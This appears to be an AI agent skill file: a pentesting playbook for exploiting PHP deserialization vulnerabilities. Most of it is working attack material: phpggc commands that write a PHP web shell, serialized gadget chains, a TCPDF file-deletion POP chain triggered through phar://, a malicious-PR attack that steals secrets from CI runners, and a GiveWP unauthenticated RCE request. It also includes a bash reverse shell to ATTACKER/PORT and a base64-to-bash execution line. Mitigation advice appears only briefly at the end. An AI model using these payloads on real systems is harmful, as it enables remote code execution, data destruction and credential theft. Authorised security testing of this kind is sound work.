php-deserialization-pentest

name

php-deserialization-pentest

description

PHP deserialization exploitation for pentesting. Use this skill whenever you need to exploit PHP deserialization vulnerabilities, including spl_autoload_register abuse, phpggc gadget chains, PHPUnit PHPT coverage attacks, TCPDF POP chains, html2pdf phar:// exploitation, or GiveWP unauthenticated RCE. Trigger this skill for any PHP deserialization testing, gadget chain construction, or when analyzing PHP applications for unsafe unserialize() calls.

PHP Deserialization Pentesting

A comprehensive guide to exploiting PHP deserialization vulnerabilities in web applications and CI/CD pipelines.

Quick Reference

Attack Vector	Prerequisites	Impact
spl_autoload_register + LFI	Deserialization + custom autoloader	RCE via file loading
PHPUnit PHPT Coverage	CI/CD with phpunit < 8.5.52/9.6.34/10.5.63/11.5.50/12.5.8	RCE in CI container
TCPDF __destruct	TCPDF loaded + unserialize()	Arbitrary file deletion
html2pdf phar://	html2pdf ≤5.3.0 + PHP < 8.0	File deletion via phar metadata
GiveWP <3.14.2	GiveWP plugin + Stripe/Faker deps	Unauthenticated RCE

1. spl_autoload_register + LFI/Gadget Chain

When to Use

• You found PHP deserialization but no gadgets in the current app
• Another vulnerable app shares the same container with exploitable libraries
• The target uses spl_autoload_register with path transformation logic

Attack Flow

1. Identify the autoloader pattern

   // Common pattern: underscores → slashes
   spl_autoload_register(function ($name) {
       if (preg_match('/_/', $name)) {
           $name = preg_replace('/_/', '/', $name);
       }
       $filename = "/${name}.php";
       if (file_exists($filename)) {
           require $filename;
       }
   });
   

2. Load external composer autoload

   • Class name becomes file path: www_frontend_vendor_autoload → /www/frontend/vendor/autoload.php
   • Payload: O:28:"www_frontend_vendor_autoload":0:{}

3. Generate phpggc payload for the external library

   phpggc Guzzle FW1 /tmp/a.php "<?php system('YOUR_COMMAND'); ?>" -o
   

4. Combine into single serialized array

   a:2:{
     s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}
     s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{...}
   }
   

5. Add LFI loader for the created file

   a:3:{
     s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}
     s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{...}
     s:6:"Extra3";O:5:"tmp_a":0:{}
   }
   

Important Notes

• Private properties may be dropped: If gadget attributes arrive empty, edit the chain.php to make properties public
• May require two requests: First creates the file, second loads it
• File upload shortcut: If you can upload .php files, abuse the autoloader directly for RCE

2. PHPUnit PHPT Coverage Deserialization (CI/CD)

When to Use

• Target uses PHPUnit with PHPT coverage
• You can contribute test files to the repository
• PHPUnit version < 8.5.52 / 9.6.34 / 10.5.63 / 11.5.50 / 12.5.8 (CVE-2026-24765)

Attack Flow

1. Create malicious coverage file

   <?php
   $payload = file_get_contents('php://stdin'); // phpggc serialized gadget
   file_put_contents('exploit.coverage', $payload);
   

2. Place in repository alongside a PHPT test file

3. Submit PR - CI executes phpunit --configuration phpunit.xml

4. PHPT runner deserializes the coverage file → RCE in CI container

Impact

• RCE inside CI/CD runner
• Access to mounted secrets (cloud creds, deployment keys)
• No web access required

3. TCPDF __destruct POP Chain

When to Use

• Application uses TCPDF and calls unserialize() on user input
• TCPDF version < 6.9.3 (older versions have weaker path checks)
• Goal: arbitrary file deletion

Payload Structure

a:1:{
  s:4:"html";
  O:5:"TCPDF":2:{
    s:7:"file_id";i:-1;
    s:9:"imagekeys";a:1:{
      i:0;s:39:"/tmp/../tmp/do_not_delete_this_file.txt";
    }
  }
}

How It Works

1. TCPDF __destruct() calls _destroy(true)
2. Iterates over $this->imagekeys
3. unlink()s paths under K_PATH_CACHE
4. Path traversal bypasses restrictions

Triggering via phar:// in html2pdf

Prerequisites: html2pdf ≤5.3.0, PHP < 8.0

1. Create Phar archive

   # Use scripts/create-phar-payload.py
   python scripts/create-phar-payload.py \
     --metadata "<serialized TCPDF payload>" \
     --output archive.png
   

2. Upload/place the file (e.g., /tmp/user_files/user_1/archive.png)

3. Submit HTML with CERT tag

   <cert src="phar:///tmp/user_files/user_1/archive.png"
         privkey="phar:///tmp/user_files/user_1/archive.png" />
   

4. html2pdf calls file_exists() → deserializes Phar metadata → TCPDF destructor runs

4. GiveWP Unauthenticated RCE (CVE-2024-5932)

When to Use

• WordPress site with GiveWP plugin < 3.14.2
• Donation forms accessible without authentication
• Stripe and Faker dependencies present

Attack Flow

1. Generate payload using phpggc or PoC

   uv run CVE-2024-5932-rce.py -u "<form_url>" -c "<command>"
   

2. POST to donation endpoint

   POST /donations/<slug>/ HTTP/1.1
   Host: target.com
   Content-Type: application/x-www-form-urlencoded
   
   amount=5&give-form-id=1&give-form-title=Any&give-gateway=offline&action=give_process_donation&give_title=<serialized_payload>
   

3. Use blind RCE techniques

   • Reverse shell: bash -c "bash -i >& /dev/tcp/ATTACKER/PORT 0>&1"
   • Callback payloads for output exfiltration
   • File deletion via unlink sink

Chain Components

• Stripe\StripeObject - base object
• Give\Vendors\Faker\ValidGenerator - validator sink
• Give\Onboarding\SettingsRepository - command storage
• Sink: shell_exec or unlink

5. Finding and Testing Deserialization

Detection Patterns

// Direct unserialize
unserialize($_GET['data']);
unserialize(file_get_contents('php://input'));

// Indirect via session
session_start(); // with user-controlled session data

// Via file includes
include($_POST['file']); // with serialized content

// Via phar:// streams
file_exists('phar://' . $_GET['file']);

Testing Checklist

• Identify unserialize() calls in codebase
• Check for custom __wakeup() or __destruct() methods
• Map available classes and their magic methods
• Search phpggc for compatible gadgets: phpggc -l | grep -E "<library>"
• Test with simple payloads first: O:1:"stdClass":0:{}
• Check for output filters or error suppression

phpggc Quick Commands

# List all available gadgets
phpggc -l

# Search for specific library
phpggc -l | grep -E "Guzzle|Monolog|Drupal|WordPress"

# Generate payload
phpggc <Gadget> <Function> <Argument> -o

# Generate with custom output
phpggc Guzzle FW1 /tmp/shell.php "<?php system('id'); ?>" -o

6. Payload Construction Tips

Private Property Issue

When mixing gadgets across applications, private properties may be dropped during deserialization if class definitions differ.

Solution: Edit the gadget's chain.php to make properties public:

// Before
private $filename;

// After
public $filename;

Multi-Object Arrays

Combine multiple objects in one serialized array for complex chains:

a:3:{
  s:5:"obj1";O:28:"ClassLoader":0:{}
  s:5:"obj2";O:31:"GadgetObject":4:{...}
  s:5:"obj3";O:5:"Loader":0:{}
}

Base64 Encoding

For command injection in file creation:

<?php system('echo <base64_command> | base64 -d | bash'); ?>

7. Mitigation Recommendations

For Developers

• Never call unserialize() on user input
• Use json_decode() for structured data
• Implement strict type checking
• Keep dependencies updated (check phpggc for known gadgets)
• Use PHP 8.0+ (phar:// stream restrictions)

For Security Teams

• Monitor for unserialize() in code reviews
• Scan dependencies with phpggc compatibility checks
• Test CI/CD pipelines for coverage file handling
• Review file upload and phar:// stream usage

8. References

• phpggc - PHP Gadget Chains
• Positive Technologies - Blind Trust PDF Research
• CVE-2024-5932 - GiveWP RCE
• CVE-2026-24765 - PHPUnit PHPT Coverage
• GitLab Advisory - TCPDF Phar Deserialization

Scripts

Use the bundled scripts for common tasks:

• scripts/generate-payload.py - Generate phpggc payloads with custom options
• scripts/create-phar-payload.py - Create Phar archives with serialized metadata
• scripts/find-unserialize.py - Scan codebase for unsafe unserialize() calls

Run with --help for usage details.